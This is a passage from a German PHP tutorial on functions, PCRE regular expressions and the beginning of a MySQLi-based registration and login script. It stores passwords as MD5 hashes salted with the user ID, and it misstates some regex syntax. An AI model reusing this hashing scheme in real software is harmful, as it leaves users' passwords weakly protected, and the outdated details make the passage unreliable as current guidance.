Arbeit verrichtet.
Das Verhalten einer Funktion wird durch deren Parameter beeinflusst. Eine Funktion
kann beliebig viele Parameter besitzen, dies schließt keine Parameter genauso ein
wie unendlich viele Parameter. Des Weiteren kann eine Funktion einen Wert zurückliefern.
Dies ist auch die Standardverwendung einer Funktion, es werden Parameter übergeben
und die Funktion liefert anhand dieser einen Wert zurück. Beispielsweise liefert
die sin-Funktion den Sinuswert vom angegebenen Radian Wert
zurück.
<?php sin(3.1415); // liefert float(9.26535896605E-5) zurück, also fast 0 ?>
Diesen Wert sollte man entsprechend auch verwenden, entweder in einer Variablen
speichern oder z.B. direkt ausgeben.
<?php $var = sin(3.1415); echo sin(1.57079); // gibt 0.99999999998 aus ?>
2. Definieren von eigenen Funktionen
Früher oder später will man nicht nur die von PHP bereitgestellten Funktionen verwenden
sonder auch eigene Funktionen definieren. Funktionsdefinitionen werden in PHP mit dem
Schlüsselwort function eingeleitet.
<?php function ?>
Danach folgt der eigentliche Name der Funktion. Der Name selbst unterliegt gängigen
Regeln wie z.B. nicht mit Ziffern anfangen. Des Weiteren haben Funktionen die mit
zwei Unterstrichen (__) anfangen besondere Funktionalität. Benutzen sie
solche Funktionen nur wenn sie genau die Funktionalität wollen die im Handbuch
beschrieben ist.
<?php function meineFunktion ?>
Wie bei einem Funktionsaufruf folgt nun eine öffnende Klammer (. Nach
der Klammer können nun Variablen für die Parameter angegeben werden. Mit der Anzahl
der Variablen (mit Kommata getrennt) legt man somit die Anzahl der Parameter fest. Wenn
man jedoch plant eine Funktion mit beliebig vielen Parametern zu definieren gibt man an
dieser Stelle keine Parameter an sondern verwendet im Funktionsrumpf die Funktionen
func_get_args, func_get_arg und func_num_args.
Die Parameterliste wird danach mit der geschlossenen Klammer ) beendet.
<?php function meineFunktion($param1, $param2) ?>
Danach beginnt der Inhalt der Funktion mit einer geschweiften öffnenen Klammer
{. Hier kann nun beliebiger PHP-Code stehen. Am Ende wird der Funktionsrumpf
mit einer geschweiften schließenden Kammer } abgeschlossen.
<?php function meineFunktion($param1, $param2) { // hier folgt nun // normaler php-code } ?>
Nach typischen Programmierstil rückt man den Quellcode innerhalb der Funktion um
4 Leerzeichen ein. Somit ist erkennbar wo die Funktion beginnt (beim Schlüsselwort
function) und wo sie endet (bei der schließenden Klammer }).
Innerhalb der Funktion können die Parametervariablen benutzt werden. Neben den
Superglobalen Variablen sind sonst keine weiteren Variablen verfügbar. Hierbei
spricht man auch vom Variable scope.
Die Parametervariablen werden dann entsprechend mit den Werten beim Funktionsaufruf
gefüllt. Wenn die Parameter beim Funktionsaufruf Variablen sind so werden deren
Werte übergeben, jedoch nicht die Variable selbst. In erste Linie ist es somit
nicht möglich Variablen zu verändern, die außerhalb der Funktion verwendet werden.
<?php function meineFunktion() { echo $var; // hilfe, wo ist $var definiert? } $var = 'HTML-Code'; meineFunktion(); // wird nicht klappen, da in der Funktion nur Parametervariablen und // superglobals vorhanden sind ?>
3. Optionale Parameter
In PHP ist es erlaubt Parameter zu definieren die man später bei einem Funktionsaufruf
nicht benutzt. So ist es z.B. möglich eine Funktion mit nur einem Parameter aufzurufen
obwohl die Funktion theoretisch 3 Parameter unterstützt. Um so eine Funktion zu definieren
weist man den Parametern Standardwerte in der Parameterliste zu. Dies geschied indem man
eine Zuweisung beim Parameter angibt. Wenn die Funktion mit einem Parameter aufgerufen wird
wird dieser Wert für die Parametervariable benutzt. Wenn die Funktion ohne den
Parameter aufgerufen wird so enthält die Parametervariable den angegebenen Standardwert.
<?php function meineFunktion($x, $test = 'foobar') { echo 'x hat den Wert: "'.$x.'" und test hat den Wert: "'.$test.'"'; } meineFunktion(4, 'wort'); // gibt 4 und wort aus meineFunktion(5); // gibt 5 und foobar aus meineFunktion(); // nicht möglich, da mindestens 1 Parameter erforderlich ist meineFunktion(1, 2, 3); // möglich, aber der dritte parameter geht verloren ?>
4. Rückgabewert von Funktionen
Obwohl man in Funktionen beliebigen PHP-Code verwenden, sowie auch echo,
ist es für eine Funktion üblicher einen berechneten Wert zurückzuliefern. Dies wird
in PHP mit dem Sprachkonstrukt return realisiert. Dort gibt man dann
einen Wert oder eine Variable an, die man zurückgeben möchte.
<?php function meineFunktion() { mach_dies(); // wird noch ausgeführt return 300; mach_das(); // wird nicht ausgeführt, da die funktion verlassen/beendet wurde } echo meineFunktion(); // gibt 300 aus ?>
Mit return wird gleichzeitig die Funktion beendet. Dies kann an jeder Stelle
geschehen, wenn dies Sinn ergibt. Bei der Berechnung des Sinus vom Wert 0 muss
z.B. nicht groß gerechnet werden sondern dort kann mit einer Fallunterscheidung
recht früh der Wert 0 zurückgeliefert werden.
Es ist auch möglich eine Funktion mit return zu beenden und dabei
keinen Rückgabewert anzugeben. Dies ergibt natürlich nur dann Sinn wenn nicht
erwartet wird das eine Funktion einen Rückgabewert hat.
<?php function meineFunktion() { // anderere code return; } meineFunktion(); // klappt ohne probleme $var = meineFunktion(); // klappt auch, $var enthält dann den Wert NULL (ein spezieller Datentyp) ?>
5. Dokumentation von eigenen Funktionen
Funktionen die von PHP bereitgestellt werden sind auf der offiziellen Homepage
detailiert beschrieben. Bei eigens angelegten Funktionen fehlt entsprechend solch
eine Dokumentation. Notfalls kann man über den Funktionsnamen die Funktionalität
erraten. Bei komplizierteren Funkionen hofft man jedoch auf eine gute Dokumentation.
Dazu eignen sie PHPDocs. Vor der eigentlichen
Funktion fügt man ein PHPDoc-Kommentar, der die Funktion ausreichend beschreibt.
<?php /** * Liefert eine Quadratzahl zurück. * * Dieser Funktion wird ein Parameter übergeben und liefert * die Quadratzahl von dieser Funktion zurück. * * @param x Der Wert von der man eine Quadratzahl haben möchte * @return Die Quadratzahl */ function quadrat($x) { return $x*$x; } ?>
Der genaue Aufbau solcher PHPDoc-Kommentare liest man entsprechend auf
der phpDocumentor Homepage.
Ein Regulärer Ausdruck (kurz Regex)
ist ein String der angibt wie ein anderer String aussehen soll. Wenn ein
String zu einem Regex passt spricht man auch von einem match,
daher auch der Funktionsname von preg_match.
2. Aufbau von einem Regex
Unabhängig was ein Regex prüft haben alle Reguläre Ausdrücke der
PCRE-Engine (die Engine die für die Regex-Auswertung
zuständig ist) den selben Aufbau.
Delimiter - Dieses erste Zeichen im String dient dazu
den eigentlichen Regex von einer Liste globaler Modifikatoren (auch
modifier genannt) zu trennen.
So ein Zeichen ist nötig da alles in ein einzelnen String kodiert werden muss.
Jedoch besteht ein PCRE-Regex Grundsätzlich aus eben den eigentlichen Regex und
den modifiern. Daher gibt das erste Zeichen im String das Trennzeichen an.
Üblicherweise werden Zeichen wie / oder ~ verwendet.
Regex - In diesem Teil steckt die eigentliche Logik drin.
Er beschreibt wie der zu prüfende String aussehen soll.
Delimiter - Nun kommt der vorher gewählte Delimiter um
die folgende modifier vom Regex zu trennen.
Modifier - Dieser Teil beschreibt Modifikatoren für den
ganzen Regex. Die Liste der Modifier kann dabei leer sein wenn keine
benötigt werden.
Da in einem Regex oft das Zeichen \ verwendet wird, jedoch \
auch das PHP-Escapezeichen für Strings ist werden für Regex üblicherweise
single-quoted-Strings verwendet.
3. Finden von Strings
Die einfachste Variante von einem Regex ist der leere Regex //
(mit / als Delimiter). Er matched jeden String da eine leere Zeichenkette
gesucht wird und überall eine leere Zeichenkette zu finden ist.
Das Testprogramm pcretest dient dazu ein Regex zu testen. Hier wurde der Regex
// eingegeben. Anhand von Beispieleingaben sieht man dass jeweils etwas
gefunden wurde was eine Nummer 0 hat. Dieser Wert liefert immer den gefundenen
Text zurück. Da nach einem leeren String gesucht wurde wurde auch stehts
ein leerer String gefunden. In PHP können wir dann später auch auf das Ergebnis
0 zugreifen.
Als nächstes Beispiel suchen wir nun einen normalen String. Solange er keine
Metazeichen enthält
kann man den String den man suchen möchte als solches hinschreiben. Falls man doch
Metazeichen hat werden sie wie in PHP mit \ escaped.
re> /bla/
data> foobar
No match
data> blabli
0: bla
data> BLABLI
No match
data> xyzblaBLI
0: bla
Bei der zweiten Eingabe sieht man dass der gesuchte Text auch gefunden wurde. In der
dritten Eingabe wurde der Text jedoch nicht gefunden da reguläre Ausdrücke casesensitiv
sind und entsprechend Groß- und Kleinschreibung. Falls man möchte das ein
regulärer Ausdruck caseinsensitiv arbeitet kann man den modifier i verwenden.
re> /bla/i
data> foobar
No match
data> blabli
0: bla
data> BLABLI
0: BLA
data> xyzblaBLI
0: bla
Nun wurde auch im dritten Teststring das Suchmuster gefunden.
4. Unterschiedliche Strings finden
Manchmal möchte man nicht nach einen Konkreten String suchen sondern
nach einer Auswahl von mehrere Strings. Diese Strings werden in einem
Regex mit dem |-Zeichen getrennt. Es können beliebig viele
Strings mit | getrennt werden.
re> /foo|bar/
data> blabarfoo
0: bar
data> foobar
0: foo
data> fobarfoarofboaoar
0: bar
data> fobabfoaoofoa
No match
data> Foobar
0: bar
Mit unserem Regex suchen wir nach einem String foo oder
bar. Im ersten Beispiel wurde bar gefunden, obwohl
beide Strings vorhanden sind. Der Regex sucht dabei von Vorne und findet
entsprechend zuerst das bar. Im zweiten Beispiel ist es
genau umgekehrt, da findet er das foo zuerst und im
dritten Beispiel findet er das bar an der Stelle 3-5.
Im vierten Beispiel ist keiner der beiden Strings vorhanden. Im
fünften Beispiel findet er bar da wir nicht den
i-modifier verwendet haben.
5. Erfassen von Teilergebnissen
Manchmal will man mit einem Regex nicht nach einem String suchen
sondern nach mehreren Teilstring. Im Moment kriegen wir nur durch
diese 0:-Angabe das Suchergebniss des ganzen Strings.
Es ist jedoch möglich gleichzeitig neben den kompletten Suchergebnis
auch Teilergebnisse abzufragen. Für jedes Teilergebnis welches
man abfragen möchte verwendet man die Klammern (
und ). Dadurch entsteht ein neuer Eintrag in der
Ergebnisliste.
re> /News vom (Montag|Dienstag|Mittwoch|Donnerstag|Freitag|Samstag|Sonntag)/
data> <p>News vom Montag<br />Am gestrigen Sonntag ist ein Sack Reis umgefallen</p>
0: News vom Montag
1: Montag
data> <p class="news Dienstag">News vom Freitag<br />Wieder ein Sack umgefallen.</p>
0: News vom Freitag
1: Freitag
data> Weder am Mittwoch noch am Donnerstag ist was passiert
No match
Hier wird erstmal allgemein nach dem Text News vom $WOCHENTAG gesucht.
Jedoch wird hier der Wochentag selbst noch abgefragt. Im ersten Fall finden
wir somit den Text News vom Montag als Ergebnis 0
und darin speziell den Montag als Ergebnis 1.
Im zweiten Beispiel finden wir den Newsheader mit Freitag obwohl
vorher der String Dienstag vorhanden ist. Den haben wir
jedoch nicht gesucht, gesucht haben wir nach News vom $WOCHENTAG.
Dies wird im dritten Beispiel deutlich wo wir zwar die Wochentage finden
aber nicht nach unserem gesuchten News vom $WOCHENTAG-Aufbau.
6. Zeichenklassen
Wenn man z.B. nach den Ziffern 0, 2, 4, 6 oder 8 sucht würde man ggf. den
Regex /0|2|4|6|8/ verwenden. Dies kann vereinfacht werden
wenn man eine Zeichenklasse verwendet. Dabei verwendet man die eckigen
Klammern [ und ], die eine Zeichenklasse einleiten
bzw. beenden. Innerhalb der Zeichenklasse schreibt man einfach
die Zeichen rein die dazugehören sollen. Der Regex passt dann auf ein
Zeichen in dieser Liste.
re> /Es gab [23] Spiele heute/
data> Es gab 2 Spiele heute
0: Es gab 2 Spiele heute
data> Es gab 5 Spiele heute
No match
data> Es gab 22 Spiele heute
No match
Im ersten Beispiel wird unser Teststring gefunden, im zweiten und dritten
Beispiel jedoch nicht da weder die 5 in der Zeichenklasse
ist, noch der String Es gab 22 Spiele heute irgendwie passt.
Anstatt jedes einzelne Zeichen aufzulisten können auch Bereiche mit einem
Minuszeichen angegeben werden.
re> /[0-5]/
data> Ich suche eine 4 im Text
0: 4
data> ich suche nun eine 8
No match
data> und nun eine 99
No match
data> und zu letzt eine 49
0: 4
Im letzten Beispiel sieht man das die 4 gefunden wurde und nicht die Zahl 49,
da es sich bei [...] um Zeichenklassen handeln und nichts anderes.
Somit wird man mit einem Regex /[0-255].[0-255].[0-255].[0-255]/
nicht nach IP-Adressen suchen können da die Zeichenklasse [0-255]
nur auf die Zeichen 0, 1, 2 und
5 passt (die zweite 5 ist sogar überflüssig).
Für den Fall dass man das Minuszeichen in die Zeichenklasse aufnehmen will
muss man es am Anfang oder Ende der Zeichenklasse plazieren damit es nicht
als Bereich von Irgendwas interpretiert werden kann.
Wenn das erste Zeichen in der Zeichenklasse das ^-Zeichen wird
die Zeichenklasse negiert, dann matched sie auf alle Zeichen die nicht
in der Zeichenklasse stehen.
re> /[0-5]/
data> Ich suche eine 4 im Text
0: 4
re> /[^0-5]/
data> nun suche ich eine 8
0: n
Im zweiten Beispiel wird das n von nun gefunden,
das es das erste Zeichen ist das keine Ziffer von 0 bis 5 ist.
7. Vordefinierte Zeichenklassen
Es gibt Suchstrings die häufig vorkommen wie z.B. eine Ziffer
oder ein Buchstabe. Anstatt nun alle Ziffern bzw. alle
Buchstaben aufzulisten gibt es in PCRE vordefinierte Zeichenklassen.
\d - Diese Zeichenklasse matched auf eine Ziffer, das
d kommt dabei von digit. Es ist äquivalent
zum Ausdruck [0-9].
\D - Diese Zeichenklasse matched auf alles was keine Ziffer ist.
Man beachte dass das D großgeschrieben ist. Es ist äquivalent
zum Ausdruck [^0-9].
\w - Passt auf jedes Zeichen was laut Perl einem Word
entspricht. Grundsätzlich sind das Ziffern, Buchstaben und der Unterstrich
(_), kann jedoch auch mehr sein. Je nach eingestelltem
Locale können mehr Zeichen damit erfasst werden.
Wenn das Locale auf de_DE gestellt ist (möglich mit
der Funktion setlocale) matched das \w auch auf
deutsch-spezifische Zeichen wie Umlaute.
\W - Negation von \w und matched entsprechend auf
alles was kein Word ist.
\s - Matched auf alles was kein sichtbares Zeichen ist,
wie Leerzeichen oder Zeilenumbrüche. Das s kommt dabei
von Whitespace.
\S - Negation von \s und matched entsprechend
auf alle sichtbaren Zeichen.
\b - Diese Zeichenklasse ist eigentlich gar keine denn
es matched nicht auf ein Zeichen sondern zwischen zwei Zeichen. In
In diesem Fall matched es auf eine Wortgrenze (word boundary).
Dies ist dann wichtig wenn man z.B. nach dem Wort arsch
sucht aber nicht Marschkapelle treffen will.
re> /\barsch\b/
data> du bist ein arsch, weiß du das?
0: arsch
data> du bist sogar ein arschloch
No match
data> Hast du dir die Marschkapelle angeguckt?
No match
Im ersten Beispiel wird zwar unser Wort gefunden, in den anderen
Beispielen nicht, da die Wortgrenzen nicht passen.
. - Diese Zeichen (der Punkt) matched auf alle Zeichen bis auf ein
Zeilenumbruch (und mit dem s-modifier sogar auch auf
den Zeilenumbruch). Dies wird später wichtig wenn man nicht auf ein einzelnes
Zeichen matched sondern auf beliebig viele.
\A - Diese Zeichenklasse matched auf den Beginn des zu prüfenden
Strings. Damit wird sichergestellt dass ein String mit dem
Regex anfangen muss und nicht nur irgendwo beginnen braucht.
re> /\Afoobar/
data> foobarbla
0: foobar
data> blafoobar
No match
Zuerst wurde der String foobar gefunden da er am Anfang steht.
Beim zweiten Beispiel wurde der String nicht gefunden, obwohl er vorhanden
ist, weil davor noch der String bla steht.
\z - Diese Zeichenklasse matched auf den Ende des zu prüfenden
Strings. In Kombination mit \A kann man somit sicherstellen
das ein kompletter String auf ein Regex matchen muss und nicht nur ein
Teilstring irgendwo im String.
re> /\Ablabli\z/
data> blabli
0: blabli
data> fooblabli
No match
data> blablibli
No match
Nur im ersten Beispiel wird der String gefunden da in den anderen Beispiel
davor bzw. danach Text steht der nicht dort stehen darf.
8. Wiederholungen von Teilstrings
In der Regel sind die zu suchenden Strings länger als ein einzelnes Zeichen. Es
kann sogar sein das der Text der gesucht wird unterschiedlich lang sein kann.
Daher existiert in Regex die Möglichkeit nach Wiederholungen zu suchen, wie
z.B. 20 Buchstaben oder beliebig viele Ziffern.
Um die Wiederholung von einem String festzulegen werden die
geschweiften Klammern { und } verwendet.
Innerhalb der Klammern geben ein oder zwei Zahlen die Anzahl der Wiederholungen
an. Somit bedeutet {5} 5 Wiederholungen und
{3,7} 3 bis 7 Wiederholungen. Die Angabe {0}
ist Möglich bewirkt jedoch meistens nicht das was gewollt ist denn
wie ganz am Anfang des Kapitels kann überall ein leerer String gefunden werden.
Wenn ein Bereich angegeben wird, jedoch eine Zahl weggelassen wird entspricht
dies einer offenen Grenze. So entspricht {5,} mindestens 5 Wiederholungen
und {,8} maximal 8 Wiederholungen.
re> /\d{2}-\d{2}-\d{2,4}/
data> 12-03-2008
0: 12-03-2008
data> Ich habe am 1-1-1970 Geburtstag
No match
data> Und ich am 45-23-301.
0: 45-23-301
Hier wurde nach einem Datum-typischen String gesucht. Man sieht auch
das nicht alles was wie ein Datum aussieht auch wirklich ein Datum ist.
Daher muss man ggf. die Daten die man ausgelesen hat später noch mit
PHP prüfen.
Einige Wiederholungen kommen so oft vor dass es für diese sogar Abkürzungen
gibt.
* - Dies ist die Abkürzung für {0,} und bedeutet
entsprechend beliebige Wiederholungen von einem Suchmuster.
+ - Dies ist die Abkürzung für {1,} und
bedeutet dass das Suchmuster beliebig oft vorkommen darf, jedoch mindestens
ein mal.
? - Dies ist die Abkürzunge für {0,1} und
bedeutet dass ein Suchmuster vorkommen darf, aber nicht muss.
Diese Abkürzungen werden oft mit den Abkürzungen der Zeichenklassen verwendet.
So findet man in Regex oft solche Suchmuster wie .* oder \d+.
9. Gierige Suchmuster
Wenn ein Suchmuster unterschiedlich oft wiederholt werden kann versucht die Regex-Engine
den größtmöglichen Text zu finden, auch wenn ein kleinerere Text reichen würde.
Dieses Verhalten wird greedy genannt. Es kann jedoch sein dass
man genau dies nicht möchte bzw. fehl am Platz ist. Als Beispiel wollen wir HTML-Elemente
finden und würde da vielleicht den Regex /<.*>/ verwenden.
re> /<.*>/
data> foo<br />bar
0: <br />
data> Ein Text mit einem <em>hervorgehobenen</em> Wort.
0: <em>hervorgehobenen</em>
Im ersten Beispiel wurde zwar das HTML-Element, im zweiten Beispiel
jedoch auch Text der nicht erwünscht ist. Eine Möglichkeit wäre es nicht
die das .-Zeichen zu verwenden sondern eine Zeichenklasse
die kein >-Zeichen erlaubt. Eine weitere Möglichkeit wäre
die Regex-Engine von greedy auf ungreedy
zu stellen. Dies wird mit dem Modifier U gesetzt.
re> /<.*>/U
data> foo<br />bar
0: <br />
data> Ein Text mit einem <em>hervorgehobenen</em> Wort.
0: <em>
Die Greedy-Eigenschaft lässt sich bei * und +
auch umdrehen wenn hinter den Abkürzungen ein weiteres ? folgt.
re> /<.*?>/
data> foo<br />bar
0: <br />
data> Ein Text mit einem <em>hervorgehobenen</em> Wort.
0: <em>
Dies ist nötig wenn man mehrere solche Wiederholungen hat, jedoch nur
einige greedy und andere ungreedy
sein sollen.
10. Regex in PHP
Mit dem ganzen Vorwissen können wir nun Regex in PHP verwenden.
Dabei werden meistens die Funktionen preg_match und
preg_replace verwendet. Die Funktion preg_match
wird verwendet wenn man gucken möchte ob ein
Regex auf ein String passt, preg_replace wird verwendet
wenn der gefundene String dann durch einen anderen String ersetzt werden
soll.
Der erste Parameter der preg_match ist der Regex, der
zweite Parameter ist der Eingabestring der getestet werden soll. Da
der Regex in der Regel Backslashes enthällt (\) sollte man
hier stehts single-quoted-Strings verwenden, das
spart ne Menge escaperei. Die Funktion liefert dann 0
zurück wenn der Regex nicht passt und 1 wenn der Regex
passt. Daher kann preg_match gut in einer
if-Abfrage verwenden.
<?php if (!preg_match('~\A\d{2}-\d{2}-\d{4}\z~', '40-50-0001')) { // hier mal '~' als Delimiter verwendet die('Bitte geben sie etwas ein was wie ein Datum aussieht.'); } ?>
Falls man Suchmuster einklammert um zu Gruppen zu erfassen kann
man als dritten Parameter eine Variable übergeben. Wenn der Regex
zum String passt wird in der Variable ein Array gespeichert, welches
die erfassten Gruppen erfasst, die wir oben mit 0
und 1 kennengelernt haben. Die Schlüssel entsprechen
dann den gefundenen Gruppen.
Hier sieht man die Gruppen 0 und 1 wie sie auch
pcretest finden würde.
Mit der Funktion preg_replace geht man noch ein Schritt
weiter und ersetzt jeden gefundenen Teilstring durch einen anderen String.
Insbesondere kann gefundener Text beim ersetzen beibehalten werden.
<?php $Text = 'Ein sehr Langer Text mit "besonderen" Markierungen, die dann "besonders" behandelt werden.'; $Regex = '~"(.*)"~U'; $Ersetzen = '<em>\1</em>'; $Text = preg_replace($Regex, $Ersetzen, $Text); echo $Text; // Gibt folgendes aus // Ein sehr Langer Text mit <em>besonderen</em> Markierungen, die dann <em>besonders</em> behandelt werden. ?>
Auf die gefundenen Strings kann man mit \$Nummer zugreifen, wobei
dann entsprechend die Nummern die Gruppen sind, die man gefunden hat. Beachtet das
für einfache Textersetzungen man kein preg_replace braucht. Wenn
man z.B. alle e's durch E's ersetzen will reicht es
Dicke wenn man die str_replace-Funktion verwendet und nicht
die Regex-Engine anwerfen muss.
11. Die Welt der Regex
Dieses Kapitel ist nur ein Grundwissen über Regex. Im Handbuch
zu Regular Expressions (Perl-Compatible) sowie auf diversen Internetseiten
wie in der Wikipedia zu Regular
expression finden sich detailiertere Informationen wie man mit Regex umgeht
und was alles noch möglich ist.
Die meisten Internetplatformen besitzen eine Möglichkeit sich
zu registieren und einzuloggen. Damit man über mehrere Tage
eingeloggt bleibt wird üblicherweise in einem Cookie der
Loginstatus gespeichert, damit jeder sich nicht bei jedem
Besuch neu einloggen muss. Unser Loginskript wird daher auch
Cookies verwenden.
2. Tabelle in MySQL
Alle Benutzer müssen natürlich im System gespeichert sein. Dafür
legen wir in MySQL eine Tabelle User an, die alle
Daten vom Benutzer enthällt. In unserem Fall sind es folgende Daten.
ID - Die automatisch erzeugte ID des Benutzers.
Entsprechend vom Typ INT mit den Eigenschaften
AUTO_INCREMENT, PRIMARY KEY,
UNSIGNED und NOT NULL.
Username - Der gewählte Name vom Benutzer.
Je nach Größe reicht hier ein VARCHAR(30) mit
NOT NULL.
Password - In dieser Spalte wird der Hashwert
des Passwords gespeichert. Da hier der MD5-Hashwert
verwendet wird bekommt diese Spalte entsprechend den Typ
CHAR(32) mit NOT NULL.
Email - Hier wird natürlich die Emailadresse
gespeichert. Je nach gewünschter Größte reicht hier
VARCHAR(100) mit NOT NULL.
Daraus ergibt sich dann der folgende SQL-Query.
CREATE TABLE User (
ID INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
Username VARCHAR(30) NOT NULL,
Password CHAR(32) NOT NULL,
Email VARCHAR(100) NOT NULL
);
Diesen fügen wir dann mit phpMyAdmin in unsere Datenbank ein.
3. Bereiche anlegen
Für unsere Grundfunktionen eines Logins brauchen vier 4 Bereiche. Zuerst müssen
wir ein Teilbereich schreiben in dem sich neue Benutzer registierieren können.
Dann brauchen wir ein Bereich für den eigentlichen Login, ein weiteren für die
Bearbeitung des eigenen Profils und zuletzt noch ein Bereich um uns auszuloggen.
Daher legen wir in unserem $dateien-Array vier neue Einträge für
register, login, profile und
logout mit den entsprechenden PHP-Skripten register.php,
login.php, profile.php und logout.php an.
4. Neuen Benutzer registieren
Zuerst müssen wir dem Benutzer ein Formular anzeigen welches den Benutzer nach
den nötigen Daten wie Username und Password fragt. Daher zeigen wir als erstes
das Formular an.
Es ist nicht schlimm dass wir die Variable $ret verwenden, sie wird eh
später durch die Anweisung $ret = include ....; überschrieben. Die
register.tpl sieht dabei wie folgt aus.
Hier sieht man wieder die Eingabe nach einer Antwort zu einer Frage. Dies
dient wie vorher dazu Spambots aus dem System zu halten, mit all den vorher
besprochenden Einschränkungen. Außerdem werden die Passwörter in ein Array
gespeichert auf die wir dann später mit den Index 0 und
1 zugreifen können.
Nun prüfen wir in unserem PHP-Skript ob alle Formularelemente vorhanden sind.
Hier sieht man dass eine Konstante INVALID_FORM verwendet wurde.
Diese Konstante ist nicht vordefiniert, daher müssen wir sie definieren.
Dies machen wir in einer constants.php die wie auch in der
index.php laden.
include 'constants.php'; include 'functions.php'; include 'classes.php'; include 'variables.php'; // [...] ?>
In der neuen Datei definieren wir dann eine passende Fehlermeldung.
<?php define('INVALID_FORM', 'Benutzen sie nur Formulare von der Homepage.'); ?>
Nun prüfen wir die Password-Felder.
<?php $ret = array(); $ret['filename'] = 'register.tpl'; $ret['data'] = array(); if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Username'], $_POST['Password'], $_POST['Email'], $_POST['Antwort'], $_POST['formaction'])) { return INVALID_FORM; } if (!is_array($_POST['Password']) OR count($_POST['Password']) != 2) { return INVALID_FORM; } if ($_POST['Password'][0] != $_POST['Password'][1]) { return 'Bitte geben sie das gleiche Password ein.'; } } return $ret; ?>
Nun prüfen wir ob wirklich was eingegeben wurde.
<?php $ret = array(); $ret['filename'] = 'register.tpl'; $ret['data'] = array(); if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Username'], $_POST['Password'], $_POST['Email'], $_POST['Antwort'], $_POST['formaction'])) { return INVALID_FORM; } if (!is_array($_POST['Password']) OR count($_POST['Password']) != 2) { return INVALID_FORM; } if ($_POST['Password'][0] != $_POST['Password'][1]) { return 'Bitte geben sie das gleiche Password ein.'; } if (($Username = trim($_POST['Username'])) == '' OR ($Password = trim($_POST['Password'][0])) == '' OR ($Email = trim($_POST['Email'])) == '' OR ($Antwort = trim($_POST['Antwort'])) == '') { return EMPTY_FORM; } } return $ret; ?>
Hier verwenden wir wieder eine neue Konstante, die wir entsprechend
in der constants.php definieren.
<?php define('INVALID_FORM', 'Benutzen sie nur Formulare von der Homepage.'); define('EMPTY_FORM', 'Bitte füllen sie das Formular vollständig aus.'); ?>
Nun prüfen wir den Wert unserer pseudo-CAPTCHA-Abfrage.
<?php $ret = array(); $ret['filename'] = 'register.tpl'; $ret['data'] = array(); if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Username'], $_POST['Password'], $_POST['Email'], $_POST['Antwort'], $_POST['formaction'])) { return INVALID_FORM; } if (!is_array($_POST['Password']) OR count($_POST['Password']) != 2) { return INVALID_FORM; } if ($_POST['Password'][0] != $_POST['Password'][1]) { return 'Bitte geben sie das gleiche Password ein.'; } if (($Username = trim($_POST['Username'])) == '' OR ($Password = trim($_POST['Password'][0])) == '' OR ($Email = trim($_POST['Email'])) == '' OR ($Antwort = trim($_POST['Antwort'])) == '') { return EMPTY_FORM; } if ('' != $Antwort) { // entsprechend anpassen return 'Bitte geben sie die richtige Antwort an.'; } } return $ret; ?>
Nun prüfen wir ob der Benutzername normal aussieht und noch nicht
verwendet wurde. Normal heißt für uns ein Username zwischen
3 und 30 Zeichen ohne Leerzeichen. Dafür verwenden wir einmal ein Regex
und prüfen dann in der Datenbank ob es schon ein solchen Username gibt.
<?php $ret = array(); $ret['filename'] = 'register.tpl'; $ret['data'] = array(); if ('POST' == $_SERVER['REQUEST_METHOD']) { if (!isset($_POST['Username'], $_POST['Password'], $_POST['Email'], $_POST['Antwort'], $_POST['formaction'])) { return INVALID_FORM; } if (!is_array($_POST['Password']) OR count($_POST['Password']) != 2) { return INVALID_FORM; } if ($_POST['Password'][0] != $_POST['Password'][1]) { return 'Bitte geben sie das gleiche Password ein.'; } if (($Username = trim($_POST['Username'])) == '' OR ($Password = trim($_POST['Password'][0])) == '' OR ($Email = trim($_POST['Email'])) == '' OR ($Antwort = trim($_POST['Antwort'])) == '') { return EMPTY_FORM; } if ('' != $Antwort) { // entsprechend anpassen return 'Bitte geben sie die richtige Antwort an.'; } if (!preg_match('~\A\S{3,30}\z~', $Username)) { return 'Der Benutzername darf nur aus 3 bis 30 Zeichen bestehen und '. 'keine Leerzeichen enthalten.'; } } return $ret; ?>
Da wir nun mit MySQL sprechen müssen brauchen wir ein MySQLi-Objekt. Dazu müssen
wir die index.php Datei bearbeiten.
include 'constants.php'; include 'functions.php'; include 'classes.php'; include 'variables.php';
$db = @new MySQLi(/*host*/, /*username*/, /*password*/, /*database*/); $ret = 1; // speichert den rückgabewert von include, standardwert 1 if (mysqli_connect_errno()) { $ret = 'Konnte keine Verbindung zu Datenbank aufbauen, MySQL meldete: '.mysqli_connect_error(); } else { // Laden der Include-Datei // [...] } // Laden des HTML-Kopfs // [...] ?>
Wir benutzen die $ret-Variable um die Fehlermeldung für ein Verbindungsfehler
anzuzeigen. Da wir nun unser MySQLi-Objekt haben können wir mit der Datenbank arbeiten.
Dabei lesen wir alle Datensätze aus der User-Tabelle aus die den gleichen
Namen haben wie die Eingabe des Usernames. Dabei kann es nur 0 oder einen Datensatz
geben, den wir dann mit dem Attribut num_rows auslesen.
<?php // [...] if (!preg_match('~\A\S{3,30}\z~', $Username)) { return 'Der Benutzername darf nur aus 3 bis 30 Zeichen bestehen und '. 'keine Leerzeichen enthalten.'; } $sql = 'SELECT ID FROM User WHERE Username = ? LIMIT 1'; $stmt = $db->prepare($sql); if (!$stmt) { return $db->error; } $stmt->bind_param('s', $Username); $stmt->execute(); $stmt->store_result(); if ($stmt->num_rows) { return 'Der Username wird bereits verwendet.'; } $stmt->close(); // [...] ?>
Die Methode store_result() (mysqli_stmt_store_result)
wird verwendet damit die Daten aus der
Datenbank gelesen werden, insbesondere wird dann auch das num_rows-Feld gesetzt.
Nun wissen wir dass der Username gültig ist, also können wir unseren Benutzer hinzufügen.
<?php // [...] if ($stmt->num_rows) { return 'Der Username wird bereits verwendet.'; } $stmt->close(); $sql = 'INSERT INTO User(Username, Email) VALUES (?, ?)'; $stmt = $db->prepare($sql); if (!$stmt) { return $db->error; } $stmt->bind_param('ss', $Username, $Email); if (!$stmt->execute()) { return $stmt->error; } // [...] ?>
Mit der insert_id-Eigenschaft können wir die
ID abfragen die für diesen Datensatz erzeugt wurde. Diese verwenden wir für den
Salt
der Hashfunktion.
